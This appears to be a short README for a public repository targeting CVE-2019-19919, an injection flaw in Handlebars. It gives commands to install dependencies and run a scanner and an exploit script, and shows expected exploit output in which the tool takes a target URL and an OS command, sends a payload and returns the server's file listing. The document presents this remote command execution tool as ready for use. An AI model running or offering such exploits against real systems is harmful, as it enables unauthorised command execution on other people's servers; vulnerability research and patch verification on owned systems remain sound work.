fazilbaig1/cve-2019-19919Handlebars Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Vulnerability
Handlebars Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Vulnerability
pip install requests packaging
python handlebars_scanner.py
pip install requests
python handlebars_exploit.py
Enter the target URL:
Exploit Expected Output : Enter the target URL (e.g., http://example.com/render): http://example.com/render
Enter the OS command to execute: ls
[+] Sending exploit payload to http://example.com/render...
[+] Payload executed successfully.
[+] Response:
file1.txt file2.txt
